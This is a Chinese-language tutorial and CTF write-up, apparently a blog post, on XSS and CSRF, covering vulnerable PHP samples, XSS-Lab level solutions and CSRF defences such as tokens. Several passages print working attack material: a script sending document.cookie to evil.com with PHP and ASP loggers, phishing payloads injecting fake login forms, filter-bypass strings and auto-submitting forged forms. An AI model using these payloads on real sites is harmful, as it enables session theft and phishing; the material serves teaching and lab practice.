XSS及CSRF

XSS以及CSRF

同源策略

同源策略是指在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须有相同的URI、主机名和端口号,一旦两个网站满足上述条件,这两个网站就被认定为具有相同来源。

此策略可防止某个网页上的恶意脚本通过该页面的文档对象模型访问另一网页上的敏感数据。

同源策略对Web应用程序具有特殊意义,因为Web应用程序广泛依赖于HTTP cookie来维持用户会话,所以必须将不相关网站严格分隔,以防止丢失数据泄露。

值得注意的是同源策略仅适用于脚本,这意味着某网站可以通过相应的HTML标签访问不同来源网站上的图像、CSS和动态加载脚本等资源。

而跨站请求伪造就是利用同源策略不适用于HTML标签的缺陷。

举例:

img

xss简介

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。

xss类型

反射型 XSS

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。

反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

服务器端代码:

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Feedback for end user 
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
} 
?>
可以看到,代码直接引用了 name 参数,并没有做任何的过滤和检查,存在明显的 XSS 漏洞。

 

持久型 XSS

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。

此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

服务器端代码:

 

<?php
  if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );
    // Sanitize name input
    $name = mysql_real_escape_string( $name );
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    //mysql_close(); }
?>
代码只对一些空白符、特殊符号、反斜杠进行了删除或转义,没有做 XSS 的过滤和检查,且存储在数据库中,明显存在存储型 XSS 漏洞。

 

DOM XSS=+

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。

HTML 代码:

<html>
  <head>
    <title>DOM-XSS test</title>
  </head>
  <body>
    <script>
      var a=document.URL;
      document.write(a.substring(a.indexOf("a=")+2,a.length));
    </script>
  </body>
</html>

将代码保存在 domXSS.html 中,浏览器访问:

 

http://127.0.0.1/domXSS.html?a=<script>alert('XSS')</script>

即可触发 XSS 漏洞。

XSS 利用方式

Cookies 窃取

cookies简介:https://baike.baidu.com/item/cookie/1119?fr=aladdin

攻击者可以使用以下代码获取客户端的 Cookies 信息:

=

<script>
document.location="http://www.evil.com/cookie.asp?cookie="+document.cookie
new Image().src="http://www.evil.com/cookie.asp?cookie="+document.cookie
</script>
<img src="http://www.evil.com/cookie.asp?cookie="+document.cookie></img>

在远程服务器上,有一个接受和记录 Cookies 信息的文件,示例如下:

 

<%
  msg=Request.ServerVariables("QUERY_STRING")
  testfile=Server.MapPath("cookie.txt")
  set fs=server.CreateObject("Scripting.filesystemobject")
  set thisfile=fs.OpenTextFile(testfile,8,True,0)
  thisfile.Writeline(""&msg& "")
  thisfile.close
  set fs=nothing
%>

 

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

攻击者在获取到 Cookies 之后,通过修改本机浏览器的 Cookies,即可登录受害者的账户。

会话劫持

由于使用 Cookies 存在一定的安全缺陷,因此,开发者开始使用一些更为安全的认证方式,如 Session。在 Session 机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也有被其他人利用的可能。会话劫持的本质是在攻击中带上了 Cookies 并发送到了服务端。

如某 CMS 的留言系统存在一个存储型 XSS 漏洞,攻击者把 XSS 代码写进留言信息中,当管理员登录后台并查看是,便会触发 XSS 漏洞,由于 XSS 是在后台触发的,所以攻击的对象是管理员,通过注入 JavaScript 代码,攻击者便可以劫持管理员会话执行某些操作,从而达到提升权限的目的。

比如,攻击者想利用 XSS 添加一个管理员账号,只需要通过之前的代码审计或其他方式,截取到添加管理员账号时的 HTTP 请求信息,然后使用 XMLHTTP 对象在后台发送一个 HTTP 请求即可,由于请求带上了被攻击者的 Cookies,并一同发送到服务端,即可实现添加一个管理员账户的操作。

钓鱼

  • 重定向钓鱼

    把当前页面重定向到一个钓鱼页面。

    http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>
    
  • HTML 注入式钓鱼

    使用 XSS 漏洞注入 HTML 或 JavaScript 代码到页面中。

     

    http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br/><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html>
    

该段代码会在正常页面中嵌入一个 Form 表单。

  • iframe 钓鱼

    这种方式是通过 <iframe> 标签嵌入远程域的一个页面实施钓鱼。

    http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"</iframe>
    
  • Flash 钓鱼

    将构造好的 Flash 文件传入服务器,在目标网站用 <object><embed> 标签引用即可。

  • 高级钓鱼技术

    注入代码劫持 HTML 表单、使用 JavaScript 编写键盘记录器等。

    参考:https://mp.weixin.qq.com/s/e1kq9zhzGOUn42vDMKjH8Q

网页挂马

一般都是通过篡改网页的方式来实现的,如在 XSS 中使用 <iframe> 标签。

参考:https://mp.weixin.qq.com/s/mhca-EXQ5Ii8J2DeaLDs_A

DOS 与 DDOS

注入恶意 JavaScript 代码,可能会引起一些拒绝服务攻击。

参考:https://www.freebuf.com/news/31230.html

XSS 蠕虫

通过精心构造的 XSS 代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能。

参考:https://www.freebuf.com/vuls/191274.html

HttpOnly

HttpOnly:如果设置了该值,则Cookie不能被JS读取

response.setHeader("Set-Cookie", "cookiename=value;Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

xss_lab的一些题目

题目地址:https://buuoj.cn/challenges#XSS-Lab

第一关:

get型注,在url中的name字段中输入,输入的内容会在页面回显。显示内容是在html标签之间,所以采用标签注入:

name=<script>alert(1)</script>

弹出消息框,存在xss漏洞

查看源码:

<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

通过get型,获得name参数,然后在注入js代码

注入之后:
<h2 align=center>欢迎用户<script>alert(1)</script></h2>

这一关没有任何防护措施

 

第二关:

在网页源代码中,我们输入的数据,是在表单中的value属性内,所以需要先闭合input标签,然后在注入代码,闭合标签:

"><script>alert(1)</script>

第一种方法是通过闭合标签,然后使用脚本代码,另一种是闭合value属性,然后在input标签内加入事件属性:

" onclick="alert(11)  //当按钮被点击时执行Javascript代码

查看源码:

在h2标签中有.htmlspecialchars($str),所以在该地方没有xss注入

PHP 提供了htmlspecialchars()函数可以将 HTML 特殊字符转化成在网页上显示的字符实体编码。这样即使用户输入了各种 HTML 标记,在读回到浏览器时,会直接显示这些 HTML 标记,而不是解释执行。htmlspecialchars()函数可以将以下五种 HTML 特殊字符转成字符实体编码:

&amp; 转成 &amp;amp;
“ 转成 &amp;quot;
&lt; 转成 &amp;lt;
&gt; 转成 &amp;gt;
‘ 转成 &amp;#39;

 

漏洞处

<input name=keyword  value="'.$str.'">

在input标签中,value属性没有过滤,所以有xss注入漏洞

本关在h2标签中有防御机制,但是在input中是没有的,所以可以在input中注入

 

第三关:

输入script,"<“会被转换为html编码,所以这一关无法采用标签,因为标签都是带有”<"的,因此采用事件,需要闭合标签的属性:

' onclick='alert(1)  
' onmouseover='alert(1)  //当图片被点击的时候执行代码

可以通过查看网页的html页面,确定闭合方式,以及是否闭合

查看源码:

<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
<input name=keyword  value='".htmlspecialchars($str)."'>

所有的地方都被htmlspecialchars()函数过滤了,该函数可以过滤“<”“>”““ ”,但是不会过滤单引号,而且value的闭合也是采用单引号,所以会有xss漏洞,htmlspecialchars()函数的第二个参数缺失时是默认不对单引号进行转义,解决方法是加上NT_QUOTES。

本关所有的地方有都防御机制,所以需要绕过该防御机制,因此采用事件方法,并且使用单引号闭合,这样就可以绕过函数的html实体化

img

第四关:

先试探防御机制,发现value值中把“<”过滤了,所以采用事件注入

" onclick="alert(1)
" onmouseover="alert(1) 

查看源码:

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

过滤了尖括号

本关的防御机制是过滤了,html标签必须采用的“<”,单号没有考虑事件

第五关:

先试探防御机制,这一关把ri转换为r_i,所以考虑绕过该机制

<script>alert(1)</script>
<scr_ipt>alert(1)</script>

采用大小写同样会被转换,所以换一个不带ri的标签

"><img src=1 onerror=alert(1)
"><img src=1 o_nerror=alert(1)

然后发现on也被过滤了,而且所有的事件属性都是带有on的,所以在此处无法采用事件

采用其他标签:

"><a href="javascript:alert(1)"

点击图片就会触发

查看源码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

第一行,将数据转换为小写

第二行,第二行将script转换

第三行,将on转换

本关考虑了标签、及事件的转换,但是没有考虑完整

CSRF 简介

CSRF,全名 Cross Site Request Forgery,跨站请求伪造。很容易将它与 XSS 混淆,对于 CSRF,其两个关键点是跨站点的请求与请求的伪造,由于目标站无 token 或 referer 防御,导致用户的敏感操作的每一个参数都可以被攻击者获知,攻击者即可以伪造一个完全一样的请求以用户的身份达到恶意目的。

CSRF 类型

按请求类型,可分为 GET 型和 POST 型。

按攻击方式,可分为 HTML CSRF、JSON HiJacking、Flash CSRF 等。

HTML CSRF

利用 HTML 元素发出 CSRF 请求,这是最常见的 CSRF 攻击。

HTML 中能设置 src/href 等链接地址的标签都可以发起一个 GET 请求,如:

 

<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0; url=">
<iframe src="">
<frame src="">
<script src=""></script>
<bgsound src=""></bgsound>
<embed src=""></bgsound>
<video src=""></video>
<audio src=""></audio>
<a href=""></a>
<table background=""></table>
......

还有 CSS 样式中的:

 

@import ""
background:url("")
......

也可使用表单来对 POST 型的请求进行伪造。

 

<form action="http://www.a.com/register" id="register" method="post">
  <input type=text name="username" value="" />
  <input type=password name="password" value="" />
</form>
<script>
  var f = document.getElementById("register");
  f.inputs[0].value = "test";
  f.inputs[1].value = "passwd";
  f.submit();
</script>

Flash CSRF

Flash 也有各种方式可以发起网络请求,包括 POST。

 

import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://target/page");
var param = new URLVariables();
param = "test=123";
url.method = "POST";
url.data = param;
sendToURL(url);
stop();

Flash 中还可以使用 getURLloadVars 等方式发起请求。

 

req = new LoadVars();
req.addRequestHeader("foo", "bar");
req.send("http://target/page?v1=123&v2=222", "_blank", "GET");

CSRF 的防御

验证码

验证码强制用户必须与应用进行交互,才能完成最终请求。

Referer Check

检查请求是否来自合法的源。但服务器并非什么时候都能取得 Referer。

Token

CSRF 能够攻击成功的本质原因是重要操作的所有参数都可以被攻击者猜测得到。

保持原参数不变,新增一个参数 Token,值是随机的,在实际应用中,Token 可以放在用户的 Session 中,或浏览器的 Cookies 中。

Token 一定要足够随机。此外,Token 的目的不是为了防止重复提交,所以为了使用方便,可以允许在一个用户的有效生命周期内,在 Token 消耗掉之前都使用同一个 Token,但如果用户已经提交了表单,则这个 Token 已经消耗掉,应该重新生成 Token。

Token 还应注意其保密性,如果 Token 出现在 URL 中,则可能会通过 Referer 泄露,应尽量把 Token 放在表单中,把敏感操作由 GET 改为 POST,以表单或 AJAX 的形式提交,避免 Token 泄露。

极客大挑战的一道题目

题目:http://173.82.206.142:8005/

img

 



去留无意,宠辱不惊